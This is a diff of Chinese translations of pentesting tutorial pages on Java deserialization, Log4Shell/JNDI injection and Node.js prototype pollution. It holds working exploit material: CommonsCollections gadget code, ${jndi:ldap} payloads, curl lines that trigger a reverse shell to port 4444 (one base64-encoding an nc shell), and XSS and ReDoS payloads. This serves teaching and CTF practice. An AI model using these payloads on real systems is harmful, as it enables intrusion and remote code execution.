||||
该 **扩展** 具有 **被动** 和 **主动** **功能**。
|
||||
|
||||
### 被动
|
||||
|
||||
默认情况下,它会 **被动检查** 所有请求和响应,**寻找** **Java 序列化魔法字节**,如果发现任何,将呈现漏洞警告:
|
||||
默认情况下,它会 **被动检查** 所有请求和响应,**寻找** **Java 序列化魔术字节**,如果发现任何内容,将呈现漏洞警告:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -160,12 +160,12 @@ return null;
|
||||
|
||||
**手动测试**
|
||||
|
||||
您可以选择一个请求,右键单击并选择 `Send request to DS - Manual Testing`。\
|
||||
您可以选择一个请求,右键单击并 `Send request to DS - Manual Testing`。\
|
||||
然后,在 _Deserialization Scanner Tab_ --> _Manual testing tab_ 中,您可以选择 **插入点**。并 **启动测试**(根据使用的编码选择适当的攻击)。
|
||||
|
||||

|
||||
|
||||
即使这被称为“手动测试”,它也是相当 **自动化** 的。它将自动检查 **反序列化** 是否 **易受** **任何 ysoserial 负载** 的攻击,检查 Web 服务器上存在的库,并突出显示易受攻击的库。为了 **检查** **易受攻击的库**,您可以选择启动 **Javas Sleeps**、通过 **CPU** 消耗的 **sleeps**,或使用 **DNS**,正如之前提到的那样。
|
||||
即使这被称为“手动测试”,它也相当 **自动化**。它将自动检查 **反序列化** 是否 **易受** **任何 ysoserial 负载** 的攻击,检查 Web 服务器上存在的库,并突出显示易受攻击的库。为了 **检查** **易受攻击的库**,您可以选择启动 **Javas Sleeps**、通过 **CPU** 消耗的 **sleeps**,或使用 **DNS**,正如之前提到的那样。
|
||||
|
||||
**利用**
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Java Transformers to Rutime exec()
|
||||
|
||||
在多个地方,您可以找到一个使用来自Apache common collections的transformers的java反序列化payload,如下所示:
|
||||
在多个地方,您可以找到一个使用来自Apache通用集合的变换器的Java反序列化有效负载,如下所示:
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
@ -49,7 +49,7 @@ lazyMap.get("anything");
|
||||
```java
|
||||
Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
||||
```
|
||||
或者**更准确地**说,最后将被执行的是:
|
||||
或者**更准确地说**,最后将被执行的是:
|
||||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
@ -153,7 +153,7 @@ _注意 `value` 是每个转换的输入和前一个转换的输出,从而允
|
||||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
注意,这里**解释了用于**ComonsCollections1**有效负载的工具**。但**如何开始执行这一切**仍然没有说明。你可以在[这里看到**ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java),为了执行这个有效负载,它使用了一个`AnnotationInvocationHandler`对象,因为**当这个对象被反序列化时**,它将**调用**`payload.get()`函数,这将**执行整个有效负载**。
|
||||
注意,这里**解释了用于** **ComonsCollections1** **有效负载的工具**。但**如何开始执行这一切**仍然没有说明。你可以在[这里看到**ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java),为了执行这个有效负载,它使用了一个`AnnotationInvocationHandler`对象,因为**当这个对象被反序列化时**,它将**调用**`payload.get()`函数,这将**执行整个有效负载**。
|
||||
|
||||
## Java 线程休眠
|
||||
|
||||
@ -202,7 +202,7 @@ lazyMap.get("anything");
|
||||
```
|
||||
## 更多小工具
|
||||
|
||||
您可以在这里找到更多小工具: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
您可以在这里找到更多小工具: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
|
||||
##
|
||||
|
||||
|
||||
@ -61,21 +61,21 @@ CORBA(通用对象请求代理架构)使用**可互操作对象引用(IOR
|
||||
**搜索**将使用类似`ldap://localhost:389/o=JNDITutorial`的URL从LDAP服务器查找JNDITutorial对象并**检索其属性**。\
|
||||
**查找**旨在用于**命名服务**,因为我们想获取**绑定到名称的任何内容**。
|
||||
|
||||
如果LDAP搜索是通过**SearchControls.setReturningObjFlag()**调用的,并且设置为`true`,则返回的对象将被重建。
|
||||
如果LDAP搜索是通过**SearchControls.setReturningObjFlag()设置为`true`调用的,则返回的对象将被重构**。
|
||||
|
||||
因此,有几种方法可以攻击这些选项。\
|
||||
**攻击者可能会通过在LDAP记录中引入有效负载来污染它们**,这些有效负载将在收集它们的系统中执行(如果您可以访问LDAP服务器,这非常有用,可以**妥协数十台机器**)。另一种利用此漏洞的方法是执行**LDAP搜索中的MitM攻击**。
|
||||
|
||||
如果您可以**使应用程序解析JNDI LDAP URL**,您可以控制将要搜索的LDAP,并可以返回利用代码(log4shell)。
|
||||
如果您可以**使应用程序解析JNDI LDAP URL**,您可以控制将要搜索的LDAP,并可以返回有效负载(log4shell)。
|
||||
|
||||
#### 反序列化利用
|
||||
#### 反序列化漏洞
|
||||
|
||||
.png>)
|
||||
|
||||
**利用是序列化的**,并将被反序列化。\
|
||||
**漏洞是序列化的**,并将被反序列化。\
|
||||
如果`trustURLCodebase`为`true`,攻击者可以在代码库中提供自己的类;如果不是,他将需要利用类路径中的小工具。
|
||||
|
||||
#### JNDI引用利用
|
||||
#### JNDI引用漏洞
|
||||
|
||||
使用**JavaFactory引用**攻击此LDAP更容易:
|
||||
|
||||
@ -87,9 +87,9 @@ CORBA(通用对象请求代理架构)使用**可互操作对象引用(IOR
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)引入了`jndi`查找功能。此功能允许通过JNDI检索变量。通常,键会自动以`java:comp/env/`为前缀。但是,如果键本身包含**":"**,则不会应用此默认前缀。
|
||||
|
||||
在键中存在**:**时,例如`${jndi:ldap://example.com/a}`,将**没有前缀**,并且**LDAP服务器会查询该对象**。这些查找可以在Log4j的配置中使用,也可以在记录的行中使用。
|
||||
在键中存在**:**时,例如`${jndi:ldap://example.com/a}`,则**没有前缀**,并且**LDAP服务器会查询该对象**。这些查找可以在Log4j的配置中使用,也可以在记录的行中使用。
|
||||
|
||||
因此,获取RCE所需的唯一条件是**处理用户控制信息的Log4j脆弱版本**。由于这是一个被Java应用广泛使用的库来记录信息(包括面向互联网的应用),因此通常会有log4j记录例如接收到的HTTP头信息,如User-Agent。然而,log4j**不仅用于记录HTTP信息,还用于记录开发人员指示的任何输入和数据**。
|
||||
因此,获取RCE所需的唯一条件是**处理用户控制的信息的Log4j脆弱版本**。由于这是一个被Java应用广泛使用的库来记录信息(包括面向互联网的应用),因此通常会有log4j记录例如接收到的HTTP头信息,如User-Agent。然而,log4j**不仅用于记录HTTP信息,还用于记录开发人员指示的任何输入和数据**。
|
||||
|
||||
## Log4Shell相关CVE概述
|
||||
|
||||
@ -111,11 +111,11 @@ CORBA(通用对象请求代理架构)使用**可互操作对象引用(IOR
|
||||
|
||||
### **CVE-2021-45105** **\[高]**
|
||||
|
||||
Log4j 2.16.0包含一个DoS缺陷,促使发布`log4j 2.17.0`以修复该CVE。更多详细信息请参见BleepingComputer的[报告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)。
|
||||
Log4j 2.16.0包含一个DoS缺陷,促使发布`log4j 2.17.0`以修复该CVE。更多细节见BleepingComputer的[报告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)。
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
影响log4j版本2.17,此CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多详细信息请参见[Checkmarx博客文章](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)。
|
||||
影响log4j版本2.17,此CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多细节可在[Checkmarx博客文章](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)中找到。
|
||||
|
||||
## Log4Shell利用
|
||||
|
||||
@ -211,7 +211,7 @@ Any other env variable name that could store sensitive information
|
||||
>
|
||||
> **更多信息**(_如 RMI 和 CORBA 向量的限制_)**请查看之前的 JNDI 命名参考部分**或 [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
|
||||
### RCE - Marshalsec 与自定义有效负载
|
||||
### RCE - Marshalsec 与自定义有效载荷
|
||||
|
||||
您可以在 **THM box** 中测试此内容: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
@ -231,18 +231,18 @@ e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
将Java文件编译成类文件,使用:`javac Exploit.java -source 8 -target 8`。接下来,在包含类文件的目录中启动一个**HTTP服务器**,使用:`python3 -m http.server`。确保**marshalsec LDAP服务器**引用此HTTP服务器。
|
||||
将Java文件编译为类文件,使用:`javac Exploit.java -source 8 -target 8`。接下来,在包含类文件的目录中启动一个**HTTP服务器**,使用:`python3 -m http.server`。确保**marshalsec LDAP服务器**引用此HTTP服务器。
|
||||
|
||||
通过发送类似的有效负载来触发易受攻击的Web服务器上利用类的执行:
|
||||
通过发送类似的有效负载来触发在易受攻击的Web服务器上执行漏洞类:
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
**注意:** 此漏洞依赖于Java的配置,以允许通过LDAP加载远程代码库。如果这不可行,请考虑利用受信任的类进行任意代码执行。
|
||||
**注意:** 此漏洞依赖于Java的配置,以允许通过LDAP加载远程代码库。如果这不被允许,请考虑利用受信任的类进行任意代码执行。
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
> [!NOTE]
|
||||
> 请注意,出于某种原因,作者在发现log4shell后将此项目从github中删除。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)找到缓存版本,但如果您想尊重作者的决定,请使用其他方法来利用此漏洞。
|
||||
> 请注意,由于某种原因,作者在发现log4shell后将此项目从github中删除。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)找到缓存版本,但如果您想尊重作者的决定,请使用其他方法来利用此漏洞。
|
||||
>
|
||||
> 此外,您无法在时光机中找到源代码,因此要么分析源代码,要么执行jar文件,知道您不知道自己在执行什么。
|
||||
|
||||
@ -273,7 +273,7 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
|
||||
```
|
||||
当发送攻击时,您将在执行 **JNDIExploit-1.2-SNAPSHOT.jar** 的终端中看到一些输出。
|
||||
在发送攻击时,您将在执行 **JNDIExploit-1.2-SNAPSHOT.jar** 的终端中看到一些输出。
|
||||
|
||||
**请记得检查 `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` 以获取其他利用选项。此外,如果需要,您可以更改 LDAP 和 HTTP 服务器的端口。**
|
||||
|
||||
@ -292,7 +292,7 @@ _这个攻击使用自定义生成的java对象将在像**THM solar room**这样
|
||||
|
||||
### RCE - JNDI-Injection-Exploit-Plus
|
||||
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) 是另一个生成**可用JNDI链接**的工具,并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务。\
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) 是另一个生成**可用JNDI链接**的工具,并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务。
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
@ -347,13 +347,13 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
|
||||
Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html) 有一些有趣的句子:
|
||||
|
||||
> 从版本 2.16.0(对于 Java 8)开始,**消息查找功能已完全删除**。**配置中的查找仍然有效**。此外,Log4j 现在默认禁用对 JNDI 的访问。配置中的 JNDI 查找现在需要显式启用。
|
||||
> 从版本 2.16.0(对于 Java 8)开始,**消息查找功能已被完全移除**。**配置中的查找仍然有效**。此外,Log4j 现在默认禁用对 JNDI 的访问。配置中的 JNDI 查找现在需要显式启用。
|
||||
|
||||
> 从版本 2.17.0(以及 Java 7 和 Java 6 的 2.12.3 和 2.3.1)开始,**仅在配置中的查找字符串被递归扩展**;在任何其他用法中,仅解析顶级查找,任何嵌套查找都不会被解析。
|
||||
> 从版本 2.17.0(以及 Java 7 和 Java 6 的 2.12.3 和 2.3.1)开始,**仅配置中的查找字符串被递归扩展**;在任何其他用法中,仅解析顶级查找,任何嵌套查找都不会被解析。
|
||||
|
||||
这意味着默认情况下,您可以 **忘记使用任何 `jndi` 漏洞**。此外,要执行 **递归查找**,您需要进行配置。
|
||||
这意味着默认情况下你可以 **忘记使用任何 `jndi` 漏洞**。此外,要执行 **递归查找**,你需要进行配置。
|
||||
|
||||
例如,在该 CTF 中,这在文件 log4j2.xml 中进行了配置:
|
||||
例如,在那个 CTF 中,这在文件 log4j2.xml 中进行了配置:
|
||||
```xml
|
||||
<Console name="Console" target="SYSTEM_ERR">
|
||||
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
||||
@ -363,36 +363,36 @@ Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
|
||||
### 环境查找
|
||||
|
||||
在 [这个 CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) 中,攻击者控制了 `${sys:cmd}` 的值,并需要从环境变量中提取标志。\
|
||||
如在 [**之前的有效载荷**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) 中所示,有不同的方法可以访问环境变量,例如:**`${env:FLAG}`**。在这个 CTF 中这没有用,但在其他现实场景中可能会有用。
|
||||
在 [**之前的有效载荷**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) 中可以看到,有不同的方法来访问环境变量,例如:**`${env:FLAG}`**。在这个 CTF 中这没有用,但在其他现实场景中可能会有用。
|
||||
|
||||
### 异常中的提取
|
||||
|
||||
在 CTF 中,你 **无法访问 java 应用程序的 stderr**,但 Log4J **异常会发送到 stdout**,这在 python 应用程序中被打印。这意味着触发异常时我们可以访问内容。提取标志的异常是:**`${java:${env:FLAG}}`**。这有效是因为 **`${java:CTF{blahblah}}`** 不存在,异常将显示标志的值:
|
||||
在 CTF 中,你 **无法访问 java 应用程序的 stderr**,但 Log4J **异常会发送到 stdout**,这在 python 应用程序中被打印。这意味着触发异常时我们可以访问内容。提取标志的异常是:**`${java:${env:FLAG}}`**。这有效是因为 **`${java:CTF{blahblah}}`** 不存在,异常的值将显示标志:
|
||||
|
||||
.png>)
|
||||
|
||||
### 转换模式异常
|
||||
|
||||
仅提及,你还可以注入新的 [**转换模式**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) 并触发将记录到 `stdout` 的异常。例如:
|
||||
仅提及,你还可以注入新的 [**转换模式**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) 并触发将被记录到 `stdout` 的异常。例如:
|
||||
|
||||
.png>)
|
||||
|
||||
这在提取错误消息中的数据时并没有被发现有用,因为查找在转换模式之前没有解决,但它可能对其他事情如检测有用。
|
||||
这在提取错误消息中的数据时并没有被发现有用,因为查找在转换模式之前没有被解决,但它可能对其他事情如检测有用。
|
||||
|
||||
### 转换模式正则表达式
|
||||
|
||||
然而,可以使用一些 **支持正则表达式的转换模式** 通过使用正则表达式和滥用 **二分查找** 或 **基于时间** 的行为来提取信息。
|
||||
|
||||
- **通过异常消息进行二分查找**
|
||||
- **通过异常消息的二分查找**
|
||||
|
||||
转换模式 **`%replace`** 可以用来 **替换** **字符串** 中的 **内容**,甚至使用 **正则表达式**。它的工作方式是:`replace{pattern}{regex}{substitution}`\
|
||||
滥用这种行为,你可以使替换 **在正则表达式匹配** 字符串中的任何内容时触发异常(如果未找到则不触发异常),如下所示:
|
||||
滥用这种行为,你可以使替换 **在正则表达式匹配到字符串中的任何内容时触发异常**(如果未找到则不触发异常),如下所示:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
## and ONLY if it's found ${error} will be resolved with will trigger an exception
|
||||
```
|
||||
- **基于时间的**
|
||||
- **基于时间**
|
||||
|
||||
正如前一节提到的,**`%replace`** 支持 **regexes**。因此,可以使用来自 [**ReDoS 页面**](../regular-expression-denial-of-service-redos.md) 的有效载荷来导致 **超时**,如果找到标志。\
|
||||
例如,像 `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` 的有效载荷将在该 CTF 中触发 **超时**。
|
||||
@ -414,11 +414,12 @@ Log4j 的 [**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
|
||||
> }{#}{######################################################}
|
||||
> }{#}{######################################################}
|
||||
> }{#}{######################################################}
|
||||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> 如果标志以 `flagGuess` 开头,整个标志将被 29 个 `#` 替换(我使用这个字符是因为它可能不会是标志的一部分)。**然后将结果中的每个 29 个 `#` 替换为 54 个 `#`**。这个过程重复 **6 次**,导致总共 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
|
||||
> 如果标志以 `flagGuess` 开头,则整个标志将被 29 个 `#` 替换(我使用这个字符是因为它可能不会是标志的一部分)。**然后将结果中的每个 29 个 `#` 替换为 54 个 `#`**。这个过程重复 **6 次**,导致总共 ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
|
||||
>
|
||||
> 替换这么多的 `#` 将触发 Flask 应用程序的 10 秒超时,这将导致 HTTP 状态代码 500 被发送给用户。(如果标志不以 `flagGuess` 开头,我们将收到非 500 状态代码)
|
||||
> 替换如此多的 `#` 将触发 Flask 应用程序的 10 秒超时,这反过来将导致 HTTP 状态代码 500 被发送给用户。(如果标志不以 `flagGuess` 开头,我们将收到非 500 状态代码)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# NodeJS - \_\_proto\_\_ & prototype Pollution
|
||||
# NodeJS - \_\_proto\_\_ 和原型污染
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -98,7 +98,7 @@ console.log("Honk!")
|
||||
}
|
||||
car1.constructor.prototype.isElectric = true
|
||||
```
|
||||
这仅影响通过 `Vehicle` 构造函数创建的对象,使它们具有 `beep`、`hasWheels`、`honk` 和 `isElectric` 属性。
|
||||
这仅影响从 `Vehicle` 构造函数创建的对象,使它们具有 `beep`、`hasWheels`、`honk` 和 `isElectric` 属性。
|
||||
|
||||
通过原型污染全局影响 JavaScript 对象的两种方法包括:
|
||||
|
||||
@ -156,7 +156,7 @@ c[1] // 2 -- not
|
||||
```
|
||||
### Html 元素污染
|
||||
|
||||
当通过 JS 生成 HTML 元素时,可以 **覆盖** **`innerHTML`** 属性以使其写入 **任意 HTML 代码。** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
当通过 JS 生成 HTML 元素时,可以 **覆盖** **`innerHTML`** 属性,使其写入 **任意 HTML 代码。** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
```javascript
|
||||
// Create element
|
||||
devSettings["root"] = document.createElement('main')
|
||||
@ -173,7 +173,7 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
||||
|
||||
原型污染是由于应用程序中的缺陷导致的,该缺陷允许覆盖 `Object.prototype` 上的属性。这意味着大多数对象从 `Object.prototype` 派生其属性。
|
||||
|
||||
最简单的示例是向将要被检查的对象的 **未定义属性** 添加一个值,例如:
|
||||
最简单的示例是向一个 **未定义的对象属性** 添加一个值,该属性将被检查,例如:
|
||||
```javascript
|
||||
if (user.admin) {
|
||||
```
|
||||
@ -218,7 +218,7 @@ client-side-prototype-pollution.md
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode) // Outputs: true
|
||||
```
|
||||
此漏洞被识别为 CVE-2019–11358,说明深拷贝如何无意中修改原型,从而导致潜在的安全风险,例如如果像 `isAdmin` 这样的属性在没有适当存在验证的情况下被检查,则可能导致未授权的管理员访问。
|
||||
此漏洞被识别为 CVE-2019–11358,说明深拷贝如何无意中修改原型,从而导致潜在的安全风险,例如如果像 `isAdmin` 这样的属性在没有适当存在验证的情况下被检查,可能会导致未经授权的管理员访问。
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: 通过 lodash 的原型污染攻击
|
||||
|
||||
|
||||
@ -19,14 +19,14 @@ return "test"
|
||||
},
|
||||
})
|
||||
```
|
||||
### 查找原型污染的根本原因 <a href="#id-5530" id="id-5530"></a>
|
||||
### 找到原型污染的根本原因 <a href="#id-5530" id="id-5530"></a>
|
||||
|
||||
一旦通过任何工具识别出原型污染漏洞,并且代码不是过于复杂,您可以通过在 Chrome 开发者工具中搜索关键字如 `location.hash`、`decodeURIComponent` 或 `location.search` 来找到漏洞。这种方法可以帮助您准确定位 JavaScript 代码中的漏洞部分。
|
||||
|
||||
对于更大和更复杂的代码库,发现漏洞代码的简单方法包括以下步骤:
|
||||
|
||||
1. 使用工具识别漏洞并获取一个旨在设置构造函数中属性的有效载荷。ppmap 提供的示例可能看起来像:`constructor[prototype][ppmap]=reserved`。
|
||||
2. 在页面上将 JavaScript 代码的第一行设置为断点。使用有效载荷刷新页面,在此断点处暂停执行。
|
||||
2. 在页面上将执行的第一行 JavaScript 代码处设置断点。使用有效载荷刷新页面,在此断点处暂停执行。
|
||||
3. 当 JavaScript 执行暂停时,在 JS 控制台中执行以下脚本。该脚本将在创建 'ppmap' 属性时发出信号,帮助定位其来源:
|
||||
```javascript
|
||||
function debugAccess(obj, prop, debugGet = true) {
|
||||
@ -56,7 +56,7 @@ debugAccess(Object.prototype, "ppmap")
|
||||
|
||||
小工具是 **一旦发现 PP 漏洞将被滥用的代码**。
|
||||
|
||||
如果应用程序很简单,我们可以 **搜索** **关键词**,如 **`srcdoc/innerHTML/iframe/createElement`** 并查看源代码,检查是否 **导致 JavaScript 执行**。有时,提到的技术可能根本找不到小工具。在这种情况下,纯源代码审查会揭示一些不错的小工具,如下面的示例。
|
||||
如果应用程序很简单,我们可以 **搜索** **关键字**,如 **`srcdoc/innerHTML/iframe/createElement`** 并查看源代码,检查是否 **导致 JavaScript 执行**。有时,提到的技术可能根本找不到小工具。在这种情况下,纯源代码审查会揭示一些不错的小工具,如下面的示例。
|
||||
|
||||
### 示例 在 Mithil 库代码中找到 PP 小工具
|
||||
|
||||
|
||||
@ -80,7 +80,7 @@ res.send(req.body)
|
||||
```json
|
||||
{ "unusualName": "value", "__proto__": "test" }
|
||||
```
|
||||
此外,在使用像 Lodash 这样的库的场景中,通过原型污染 (PP) 和直接在对象内部设置属性提供了另一种诊断方法。如果这样的属性在响应中被省略,这表明 Lodash 在合并之前正在验证目标对象中属性的存在性:
|
||||
此外,在使用像 Lodash 这样的库的场景中,通过原型污染 (PP) 和直接在对象内部设置属性提供了另一种诊断方法。如果这样的属性在响应中被省略,这表明 Lodash 在合并之前正在验证目标对象中属性的存在:
|
||||
```javascript
|
||||
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
|
||||
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
|
||||
|
||||
@ -66,7 +66,7 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
||||
### **毒害 `__proto__`**
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,由于**`child_process`**库中的**`normalizeSpawnArguments`**函数的工作方式,当调用某个函数以**设置新的环境变量**时,你只需要**污染任何东西**。\
|
||||
> 请注意,由于**`child_process`**库中的**`normalizeSpawnArguments`**函数的工作方式,当调用某个函数以**设置新的环境变量**时,你只需**污染任何东西**。\
|
||||
> 例如,如果你执行`__proto__.avar="valuevar"`,进程将以名为`avar`且值为`valuevar`的变量启动。
|
||||
>
|
||||
> 然而,为了使**环境变量成为第一个**,你需要**污染****`.env`属性**,并且(仅在某些方法中)该变量将是**第一个**(允许攻击)。
|
||||
@ -151,7 +151,7 @@ var proc = fork("a_file.js")
|
||||
```
|
||||
## DNS 交互
|
||||
|
||||
使用以下有效负载,可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量,并通过 DNS 交互检测其是否有效:
|
||||
使用以下有效载荷,可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量,并通过 DNS 交互检测其是否有效:
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
@ -228,9 +228,9 @@ var proc = execFile("/usr/bin/node")
|
||||
// Windows - not working
|
||||
```
|
||||
为了使 **`execFile`** 工作,它 **必须执行 node** 才能使 NODE_OPTIONS 生效。\
|
||||
如果它 **没有** 执行 **node**,你需要找到如何 **通过环境变量** **更改执行** 的内容并设置它们。
|
||||
如果它 **没有** 执行 **node**,你需要找到如何 **通过环境变量更改执行** 的方法,并设置它们。
|
||||
|
||||
**其他** 技术 **在** 没有此要求的情况下 **工作**,因为 **可以通过** 原型污染 **修改** **被执行的内容**。 (在这种情况下,即使你可以污染 `.shell`,你也不会污染正在执行的内容)。
|
||||
**其他** 技术 **在** 没有此要求的情况下 **工作**,因为 **可以通过原型污染修改** **被执行的内容**。 (在这种情况下,即使你可以污染 `.shell`,你也不会污染正在执行的内容)。
|
||||
|
||||
</details>
|
||||
|
||||
@ -474,7 +474,7 @@ var proc = spawnSync("something")
|
||||
- /opt/yarn-v1.22.19/preinstall.js
|
||||
- 在下面**找到更多文件**
|
||||
|
||||
以下简单脚本将搜索**来自**`child_process`**的调用**,**没有任何填充**(以避免显示函数内部的调用):
|
||||
以下简单脚本将搜索**来自** **child_process**的**调用** **没有任何填充**(以避免显示函数内部的调用):
|
||||
```bash
|
||||
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
|
||||
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
|
||||
@ -504,16 +504,16 @@ done
|
||||
|
||||
然而,如果代码在原型污染后执行 require,即使你 **不控制将要被 require 的路径**,你 **可以通过滥用原型污染强制使用不同的路径**。因此,即使代码行是 `require("./a_file.js")` 或 `require("bytes")`,它将 **require 你污染的包**。
|
||||
|
||||
因此,如果在你的原型污染后执行了 require 并且没有 spawn 函数,这就是攻击:
|
||||
因此,如果在你的原型污染后执行了 require 且没有 spawn 函数,这就是攻击:
|
||||
|
||||
- 找到一个 **系统内的 `.js` 文件**,当 **被 require 时** 将 **使用 `child_process` 执行某些操作**
|
||||
- 找到一个 **系统内的 `.js` 文件**,当 **被 require 时**将 **使用 `child_process` 执行某些操作**
|
||||
- 如果你可以向你攻击的平台上传文件,你可以上传这样的文件
|
||||
- 污染路径以 **强制 require 加载将使用 child_process 执行某些操作的 `.js` 文件**
|
||||
- **污染环境/命令行** 以在调用 child_process 执行函数时执行任意代码(参见初始技术)
|
||||
- **污染环境/命令行**以在调用 child_process 执行函数时执行任意代码(参见初始技术)
|
||||
|
||||
#### 绝对 require
|
||||
|
||||
如果执行的 require 是 **绝对的** (`require("bytes")`),并且 **包在 `package.json` 文件中不包含 main**,你可以 **污染 `main` 属性** 并使 **require 执行不同的文件**。
|
||||
如果执行的 require 是 **绝对的** (`require("bytes")`) 并且 **包在 `package.json` 文件中不包含 main**,你可以 **污染 `main` 属性**,使 **require 执行不同的文件**。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="exploit"}}
|
||||
@ -668,9 +668,9 @@ require("./usage.js")
|
||||
请注意,原型污染在访问的对象的 **attribute** 为 **undefined** 时有效。如果在 **code** 中该 **attribute** 被 **设置** 为一个 **value**,你 **将无法覆盖它**。
|
||||
|
||||
在 2022 年 6 月,从 [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) 开始,变量 `options` 不再是 `{}`,而是 **`kEmptyObject`**。这 **防止了原型污染** 影响 **`options`** 的 **attributes** 以获得 RCE。\
|
||||
